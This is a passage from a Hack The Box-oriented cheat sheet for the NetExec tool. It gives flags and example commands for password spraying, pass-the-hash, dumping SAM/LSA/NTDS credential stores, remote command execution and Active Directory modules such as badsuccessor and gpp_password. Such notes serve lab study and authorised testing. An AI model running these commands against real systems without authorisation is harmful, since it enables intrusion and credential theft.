NTLM hash to authenticate with instead of a password.
-k
Use Kerberos authentication instead of NTLM (needed when NTLM is disabled domain-wide).
--local-auth
Authenticate against the local SAM instead of the domain.
--users
List domain users (SMB) / dump the SAM (local).
--groups
List domain groups.
--shares
Enumerate accessible SMB shares.
--sam / --lsa / --ntds
Dump the SAM / LSA secrets / NTDS.dit (needs admin rights on the target).
-x / -X
Execute a shell command / PowerShell command on the target.
-M <module>
Run a NetExec module (-M badsuccessor, -M gpp_password, -M adcs, …). nxc <proto> -L lists every module for that protocol.
Common Commands
# Validate a single credential pair / spray a list against SMBnxc smb <target> -u 'user' -p 'pass'nxc smb <target> -u users.txt -p passwords.txt --continue-on-success# Enumerate domain users once a valid credential is foundnxc smb <target> -u 'user' -p 'pass' --users# Force Kerberos auth (needed if NTLM auth is disabled on the domain)nxc smb <dc_hostname> -u 'user' -p 'pass' -k --users# Check the same credential across multiple protocolsnxc winrm <target> -u 'user' -p 'pass'nxc mssql <target> -u 'user' -p 'pass'nxc ldap <target> -u 'user' -p 'pass'# Pass-the-hashnxc smb <target> -u 'user' -H '<nt_hash>'# Dump SAM/LSA secrets once local admin is confirmednxc smb <target> -u 'admin' -p 'pass' --local-auth --sam# Enumerate shares — re-run after every new identity; access differs per accountnxc smb <target> -u 'user' -p 'pass' --shares# Module sweep: cheap vulnerability checks against the domainnxc ldap -L # list available LDAP modulesnxc ldap <dc> -u 'user' -p 'pass' -M badsuccessor # Server 2025 dMSA abuse pre-conditionsnxc ldap <dc> -u 'user' -p 'pass' -M adcs # is ADCS even installednxc smb <target> -u 'user' -p 'pass' -M gpp_password # cpassword in SYSVOL
Tips & Tricks
If a target refuses NTLM entirely (STATUS_NOT_SUPPORTED), that’s a sign NTLM auth is disabled — retry with -k and make sure the target’s hostname (not IP) resolves via /etc/hosts plus a valid /etc/krb5.conf, and that your clock is in sync (KRB_AP_ERR_SKEW otherwise).
When the obvious paths are exhausted, sweep the modules (-L to list, then run the relevant ones). It is the least elegant step in AD enumeration and regularly the one that finds the box’s actual path — -M badsuccessor is what surfaced Active Directory - BadSuccessor (dMSA Abuse) on HTB Machine - Checkpoint after ADCS and Shadow Credentials had both been ruled out.
--shares is per-identity, not per-host: the same box shows a different share list to every account, so re-run it after each credential gained — a read on a share that later turns write is often the whole pivot.
Password spraying with -u/-p pointing at two files tries every combination — use --no-bruteforce to instead pair them up line-by-line (one username per matching password).